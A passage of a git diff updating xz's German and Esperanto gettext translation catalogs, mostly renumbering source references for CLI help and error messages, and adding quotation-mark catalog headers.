Standardeingabe ist nicht möglich, wenn die Dat #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:670 src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:797 src/xz/message.c:856 src/lzmainfo/lzmainfo.c:131 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Interner Fehler (Bug)" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Signalroutine kann nicht gesetzt werden" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Keine Integritätsprüfung; Integrität der Datei wird nicht überprüft" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Typ der Integritätsprüfung wird nicht unterstützt; Integrität der Datei wird nicht überprüft" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Speicherbedarfsbegrenzung erreicht" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Dateiformat nicht erkannt" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Optionen nicht unterstützt" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Komprimierte Daten sind beschädigt" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Unerwartetes Ende der Eingabe" -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s MiB Speicher wird benötigt. Die Begrenzung ist deaktiviert." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s MiB Speicher wird benötigt. Die Begrenzung ist %s." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Filterkette: %s\n" -#: src/xz/message.c:935 +#: src/xz/message.c:916 #, c-format msgid "Try '%s --help' for more information." msgstr "Versuchen Sie »%s --help« für mehr Informationen." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -671,17 +667,17 @@ msgstr "" "Komprimiert oder dekomprimiert .xz-DATEI(EN).\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "" "Obligatorische Argumente für lange Optionen sind auch für kurze Optionen\n" "zwingend.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Aktionsmodus:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -693,7 +689,7 @@ msgstr "" " -t, --test Dateiintegrität überprüfen\n" " -l, --list Dateiinformationen anzeigen" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -701,7 +697,7 @@ msgstr "" "\n" " Aktionsmodifikatoren:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -713,7 +709,7 @@ msgstr "" " -c, --stdout In die Standardausgabe schreiben und die\n" " Eingabedateien nicht löschen" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -722,7 +718,7 @@ msgstr "" " stillschweigend mögliche weitere Eingabedaten\n" " ignorieren" -#: src/xz/message.c:996 +#: src/xz/message.c:977 msgid "" " --no-sparse do not create sparse files when decompressing\n" " -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" @@ -743,7 +739,7 @@ msgstr "" " --files0=[DATEI] Wie --files, aber das Null-Zeichen wird als\n" " Trenner benutzt" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -751,7 +747,7 @@ msgstr "" "\n" " Grundlegende Optionen für Dateiformat und Kompression:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" " 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" @@ -764,13 +760,13 @@ msgstr "" " -C, --check=PRÜFUNG Typ der Integritätsprüfung: »none« (Vorsicht),\n" " »crc32«, »crc64« (Voreinstellung) oder »sha256«" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr "" " --ignore-check Integritätsprüfung beim Dekomprimieren\n" " nicht ausführen" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -779,7 +775,7 @@ msgstr "" " Beachten Sie den Speicherbedarf des Kompressors\n" " *und* des Dekompressors, wenn Sie 7-9 benutzen!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -788,7 +784,7 @@ msgstr "" " Kompressionsverhältnis zu verbessern. Dies beeinflusst\n" " den Speicherbedarf des Dekompressors nicht." -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 msgid "" " -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" " as many threads as there are processor cores" @@ -797,7 +793,7 @@ msgstr "" " die Voreinstellung ist 0, wobei so viele Threads\n" " erzeugt werden, wie Prozessorkerne vorhanden sind" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -809,7 +805,7 @@ msgstr "" " Option, um die Blockgröße für die Kompression mit\n" " mehreren Threads zu setzen" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 msgid "" " --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" @@ -824,7 +820,7 @@ msgstr "" " nummer (0-9) angegeben werden, gefolgt von einem\n" " »:« und der unkomprimierten Datengröße" -#: src/xz/message.c:1039 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -838,7 +834,7 @@ msgstr "" " Eingabedaten den Prozess blockieren würde, dann werden\n" " alle noch ausstehenden Daten geschrieben" -#: src/xz/message.c:1045 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -859,7 +855,7 @@ msgstr "" " Geben Sie 0 an, um die Grundeinstellungen zu\n" " verwenden." -#: src/xz/message.c:1054 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -869,7 +865,7 @@ msgstr "" " Fehler ausgegeben, statt die Einstellungen\n" " nach unten anzupassen." -#: src/xz/message.c:1060 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -877,7 +873,7 @@ msgstr "" "\n" " Benutzerdefinierte Filterkette für Kompression (alternativ zu Voreinstellung):" -#: src/xz/message.c:1063 +#: src/xz/message.c:1044 msgid "" "\n" " --filters=FILTERS set the filter chain using the liblzma filter string\n" @@ -888,7 +884,7 @@ msgstr "" " syntax setzen; mit --filters-help erhalten Sie\n" " weitere Informationen" -#: src/xz/message.c:1069 +#: src/xz/message.c:1050 msgid "" " --filters1=FILTERS ... --filters9=FILTERS\n" " set additional filter chains using the liblzma filter\n" @@ -899,7 +895,7 @@ msgstr "" " syntax setzen, die mit --block-list verwendet\n" " werden sollen" -#: src/xz/message.c:1075 +#: src/xz/message.c:1056 msgid "" " --filters-help display more information about the liblzma filter string\n" " syntax and exit." @@ -907,7 +903,7 @@ msgstr "" " --filters-help weitere Information über die Liblzma-Filterketten-\n" " syntax anzeigen und beenden." -#: src/xz/message.c:1086 +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -940,7 +936,7 @@ msgstr "" " depth=ZAHL Maximale Suchtiefe; 0=automatisch\n" " (Voreinstellung)" -#: src/xz/message.c:1101 +#: src/xz/message.c:1082 msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -967,7 +963,7 @@ msgstr "" " start=ZAHL Startversatz für Konversion\n" " (Voreinstellung=0)" -#: src/xz/message.c:1115 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -980,7 +976,7 @@ msgstr "" " dist=NUM Abstand zwischen den Bytes, die voneinander\n" " subtrahiert werden (1-256; 1)" -#: src/xz/message.c:1123 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -988,7 +984,7 @@ msgstr "" "\n" " Andere Optionen:\n" -#: src/xz/message.c:1126 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -998,17 +994,17 @@ msgstr "" " -v, --verbose Ausführlicher Modus; wird diese Option zweimal\n" " angegeben, erfolgen noch ausführlichere Ausgaben" -#: src/xz/message.c:1131 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn Warnungen verändern nicht den Exit-Status" -#: src/xz/message.c:1133 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr "" " --robot Maschinenlesbare Meldungen ausgeben (nützlich für\n" " Skripte)" -#: src/xz/message.c:1136 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -1017,7 +1013,7 @@ msgstr "" " Speicherbedarfsbegrenzung anzeigen\n" " und das Programm beenden" -#: src/xz/message.c:1139 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -1026,7 +1022,7 @@ msgstr "" " Optionen)\n" " -H, --long-help Diese lange Hilfe anzeigen und das Programm beenden" -#: src/xz/message.c:1143 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -1035,11 +1031,11 @@ msgstr "" " -H, --long-help Die lange Hilfe (und damit auch fortgeschrittene\n" " Optionen) anzeigen" -#: src/xz/message.c:1148 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version Versionsnummer anzeigen und beenden" -#: src/xz/message.c:1150 src/lzmainfo/lzmainfo.c:37 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 #, c-format msgid "" "\n" @@ -1053,21 +1049,21 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1156 src/lzmainfo/lzmainfo.c:40 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "Melden Sie Fehler an <%s> (auf Englisch oder Finnisch).\n" -#: src/xz/message.c:1158 src/lzmainfo/lzmainfo.c:42 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "%s-Homepage: <%s>\n" -#: src/xz/message.c:1162 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "DIES IST EINE NICHT FÜR DEN PRODUKTIVBETRIEB GEEIGNETE ENTWICKLERVERSION." -#: src/xz/message.c:1179 +#: src/xz/message.c:1160 msgid "" "Filter chains are set using the --filters=FILTERS or\n" "--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" @@ -1080,7 +1076,7 @@ msgstr "" "kann eine Voreinstellung <0-9>[e] anstelle einer Filterkette verwendet\n" "werden.\n" -#: src/xz/message.c:1185 +#: src/xz/message.c:1166 msgid "The supported filters and their options are:" msgstr "Folgende Filterkettem und Filteroptionen werden unterstützt:" @@ -1174,3 +1170,6 @@ msgstr "Schreiben in die Standardausgabe fehlgeschlagen" #: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Unbekannter Fehler" + +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Sandbox konnte nicht aktiviert werden" diff --git a/po/en@boldquot.header b/po/en@boldquot.header new file mode 100644 index 00000000..506ca9e9 --- /dev/null +++ b/po/en@boldquot.header @@ -0,0 +1,25 @@ +# All this catalog "translates" are quotation characters. +# The msgids must be ASCII and therefore cannot contain real quotation +# characters, only substitutes like grave accent (0x60), apostrophe (0x27) +# and double quote (0x22). These substitutes look strange; see +# https://www.cl.cam.ac.uk/~mgk25/ucs/quotes.html +# +# This catalog translates grave accent (0x60) and apostrophe (0x27) to +# left single quotation mark (U+2018) and right single quotation mark (U+2019). +# It also translates pairs of apostrophe (0x27) to +# left single quotation mark (U+2018) and right single quotation mark (U+2019) +# and pairs of quotation mark (0x22) to +# left double quotation mark (U+201C) and right double quotation mark (U+201D). +# +# When output to an UTF-8 terminal, the quotation characters appear perfectly. +# When output to an ISO-8859-1 terminal, the single quotation marks are +# transliterated to apostrophes (by iconv in glibc 2.2 or newer) or to +# grave/acute accent (by libiconv), and the double quotation marks are +# transliterated to 0x22. +# When output to an ASCII terminal, the single quotation marks are +# transliterated to apostrophes, and the double quotation marks are +# transliterated to 0x22. +# +# This catalog furthermore displays the text between the quotation marks in +# bold face, assuming the VT100/XTerm escape sequences. +# diff --git a/po/en@quot.header b/po/en@quot.header new file mode 100644 index 00000000..6522f0ce --- /dev/null +++ b/po/en@quot.header @@ -0,0 +1,22 @@ +# All this catalog "translates" are quotation characters. +# The msgids must be ASCII and therefore cannot contain real quotation +# characters, only substitutes like grave accent (0x60), apostrophe (0x27) +# and double quote (0x22). These substitutes look strange; see +# https://www.cl.cam.ac.uk/~mgk25/ucs/quotes.html +# +# This catalog translates grave accent (0x60) and apostrophe (0x27) to +# left single quotation mark (U+2018) and right single quotation mark (U+2019). +# It also translates pairs of apostrophe (0x27) to +# left single quotation mark (U+2018) and right single quotation mark (U+2019) +# and pairs of quotation mark (0x22) to +# left double quotation mark (U+201C) and right double quotation mark (U+201D). +# +# When output to an UTF-8 terminal, the quotation characters appear perfectly. +# When output to an ISO-8859-1 terminal, the single quotation marks are +# transliterated to apostrophes (by iconv in glibc 2.2 or newer) or to +# grave/acute accent (by libiconv), and the double quotation marks are +# transliterated to 0x22. +# When output to an ASCII terminal, the single quotation marks are +# transliterated to apostrophes, and the double quotation marks are +# transliterated to 0x22. +# diff --git a/po/eo.gmo b/po/eo.gmo new file mode 100644 index 00000000..9af21512 Binary files /dev/null and b/po/eo.gmo differ diff --git a/po/eo.po b/po/eo.po index 8ece022f..8246fa8a 100644 --- a/po/eo.po +++ b/po/eo.po @@ -8,7 +8,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.6.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2024-02-15 01:57+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2024-02-24 00:16-0500\n" "Last-Translator: Keith Bowes \n" "Language-Team: Esperanto \n" @@ -56,8 +56,8 @@ msgstr "Nur unu dosiero estas specifebla per '--files' aŭ '--files0'." #. string because French needs a space #. before the colon ("%s : %s"). #: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 -#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:685 -#: src/xz/file_io.c:759 src/xz/file_io.c:849 src/xz/file_io.c:1020 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 #: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 #: src/xz/list.c:599 #, c-format @@ -181,16 +181,12 @@ msgstr "Alĝustigis vortara grando de LZMA%c por --filters%u de %s megabajtoj ĝ msgid "Error changing to filter chain %u: %s" msgstr "Eraro dum ŝanĝiĝo al filtrila ĉeno %u: %s" -#: src/xz/file_io.c:136 src/xz/file_io.c:144 +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Eraro dum krei dukton: %s" -#: src/xz/file_io.c:332 -msgid "Failed to enable the sandbox" -msgstr "Malsukcesis aktivigi la sablujon" - -#: src/xz/file_io.c:374 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() malsukcesis: %s" @@ -205,111 +201,111 @@ msgstr "%s: poll() malsukcesis: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:441 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Dosiero ŝajne estis movita, ne forigos" -#: src/xz/file_io.c:448 src/xz/file_io.c:1004 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Ne eblas forigi: %s" -#: src/xz/file_io.c:474 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Ne eblas agordi la dosieran estron: %s" -#: src/xz/file_io.c:487 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Ne eblas agordi la dosieran grupon: %s" -#: src/xz/file_io.c:506 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Ne eblas agordi la dosierajn atingopermesojn: %s" -#: src/xz/file_io.c:632 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Eraro dum atingi la dosierstatajn flagojn de ĉefenigujon: %s" -#: src/xz/file_io.c:690 src/xz/file_io.c:752 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: Estas simbola ligilo, preterpasas" -#: src/xz/file_io.c:781 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: Estas dosierujo, preterpasas" -#: src/xz/file_io.c:787 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Ne regula dosiero, preterpasas" -#: src/xz/file_io.c:804 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: Dosiero havas setuid- aŭ setgid-biton, preterpasas" -#: src/xz/file_io.c:811 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: Dosiero havas glueman biton, preterpasas" -#: src/xz/file_io.c:818 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: Enmeta dosiero havas pli ol rektan ligilon, preterpasas" -#: src/xz/file_io.c:860 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Malplena dosiero, preterpasas" -#: src/xz/file_io.c:914 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Eraro dum restarigi la statajn flagojn de la ĉefenigujo: %s" -#: src/xz/file_io.c:962 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Eraro dum atingi la dosierstatajn flagojn el la ĉefenigujo: %s" -#: src/xz/file_io.c:1161 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Eraro dum restarigi la flagon O_APPEND de la ĉefenigujo: %s" -#: src/xz/file_io.c:1173 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Fermo de la dosiero malsukcesis: %s" -#: src/xz/file_io.c:1209 src/xz/file_io.c:1471 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Serĉado malsukcesis dum provi krei maldensan dosieron: %s" -#: src/xz/file_io.c:1309 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Legeraro: %s" -#: src/xz/file_io.c:1339 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Eraro dum serĉi la dosieron: %s" -#: src/xz/file_io.c:1363 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Neatendita dosierfino" -#: src/xz/file_io.c:1422 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Skriberaro: %s" @@ -570,26 +566,26 @@ msgstr "Provi la programon 'lzmainfo' por .lzma-dosieroj." msgid "--list does not support reading from standard input" msgstr "--list ne regas legadon el la ĉefenigujo" -#: src/xz/main.c:95 +#: src/xz/main.c:89 #, c-format msgid "%s: Error reading filenames: %s" msgstr "%s: Eraro dum legi dosiernomojn: %s" -#: src/xz/main.c:102 +#: src/xz/main.c:96 #, c-format msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Neatendita fino de enigo dum legi dosiernomojn" -#: src/xz/main.c:126 +#: src/xz/main.c:120 #, c-format msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Nula signo trovita dum legi dosiernomojn; eble vi celis uzi la parametron '--files0' anstataŭ '--files'" -#: src/xz/main.c:206 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Kunpremo kaj malkunmpremo per --robot ankoraŭ ne estas regataj." -#: src/xz/main.c:284 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Ne eblas legi datumojn el la ĉefenigujo dum legi dosiernomojn el la ĉefenigujo" @@ -597,68 +593,68 @@ msgstr "Ne eblas legi datumojn el la ĉefenigujo dum legi dosiernomojn el la ĉe #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:670 src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:797 src/xz/message.c:856 src/lzmainfo/lzmainfo.c:131 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Interna programeraro" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Ne eblas establi signalajn traktilojn" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Neniu integra kontrolo; ne certigos dosieran integron" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Nekomprenata tipo de integra kontrolo; ne certigos dosieran integron" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Memoruzada limigo atingita" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Dosierformato ne rekonata" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Nekomprenataj elektoj" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Kunpremitaj datumoj estas koruptaj" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Neatendita fino de enigo" -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s megabajtoj da memoro estas postulataj. La limigilo estas malaktiva." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s megabajtoj da memoro estas postulata. La limigo estas %s." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Filtrila ĉeno: %s\n" -#: src/xz/message.c:935 +#: src/xz/message.c:916 #, c-format msgid "Try '%s --help' for more information." msgstr "'%s --help' por pliaj informaj." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -669,17 +665,17 @@ msgstr "" "Kunpremi aŭ malkunpremi DOSIEROjN laŭ la .xz-formato.\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "" "Devigitaj parametroj por longaj elektoj estas ankaŭ devigitaj por\n" "mallongaj elektoj.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Operacia reĝimo:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -691,7 +687,7 @@ msgstr "" " -t, --test certigi la integron de kunpremitan dosieron\n" " -l, --list listigi informojn pri .xz-dosierojn" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -699,7 +695,7 @@ msgstr "" "\n" " Operacia modifiloj:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -710,7 +706,7 @@ msgstr "" " (mal)kunpmremajn ligilojn \n" " -c, --stdout skribi al la ĉefeligujo kaj ne forigi enigajn dosierojn" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -719,7 +715,7 @@ msgstr "" " malkunpremi nur la unuan fluon kaj silente\n" " ignori eventualajn ceterajn enigajn datumojn" -#: src/xz/message.c:996 +#: src/xz/message.c:977 msgid "" " --no-sparse do not create sparse files when decompressing\n" " -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" @@ -737,7 +733,7 @@ msgstr "" " --files0[=DOSIERO]\n" " kiel --files sed uzi la nulan signon por finigi" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -745,7 +741,7 @@ msgstr "" "\n" " Bazaj dosierformataj kaj kunpremaj elektoj:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" " 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" @@ -757,11 +753,11 @@ msgstr "" " -C, --check=KONT tipo de integra kontrolo: 'none' (estu atentema),\n" " 'crc32', 'crc64' (apriora) aŭ 'sha256'" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check ne certigi la integran kontrolon dum malkunpremo" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -769,7 +765,7 @@ msgstr "" " -0 ... -9 kunpremnivelo; apriore 6; pripensu memoruzadon antaŭ ol\n" " uzi la nivelojn 7-9!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -778,7 +774,7 @@ msgstr "" " ĉefprocesoran tempon; ne influas la memorajn postulojn\n" " de malkunpremo" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 msgid "" " -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" " as many threads as there are processor cores" @@ -787,7 +783,7 @@ msgstr "" " uzi maksimume NOMBRO da fadenoj; apriore 0, kiu\n" " uzas fadenojn samnombrajn kiel procesorajn kernojn" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -797,7 +793,7 @@ msgstr "" " komenci novan .xz-blokon post ĉiu GRANDO bajtoj da enigo;\n" " uzi por agordi la blokan grandon por kunfadena kunpremo" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 msgid "" " --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" @@ -811,7 +807,7 @@ msgstr "" " specifi numero (0-9) de filtrila ĉeno kaj poste ':' antaŭ\n" " la malkunpremita datuma grando" -#: src/xz/message.c:1039 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -823,7 +819,7 @@ msgstr "" " okazis post la antaŭan elbufrigo kaj legi pliajn enigojn\n" " paŭzigus, ĉiuj atendataj datumoj estas elbufrigataj" -#: src/xz/message.c:1045 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -842,7 +838,7 @@ msgstr "" " kunfadena kunpmero aŭ ĉiuj el tiuj; LIMIGO estas\n" " laŭ bajtoj, % da ĉefmemoro, aŭ 0 por aprioraĵoj" -#: src/xz/message.c:1054 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -850,7 +846,7 @@ msgstr "" " --no-adjust se kunprema agordo superas la memoruzadan limigon\n" " montri eraron anstataŭ malgrandigi la agordaĵon" -#: src/xz/message.c:1060 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -858,7 +854,7 @@ msgstr "" "\n" " Propra filtrila ĉeno por kunpremo (alternativaj por uzi 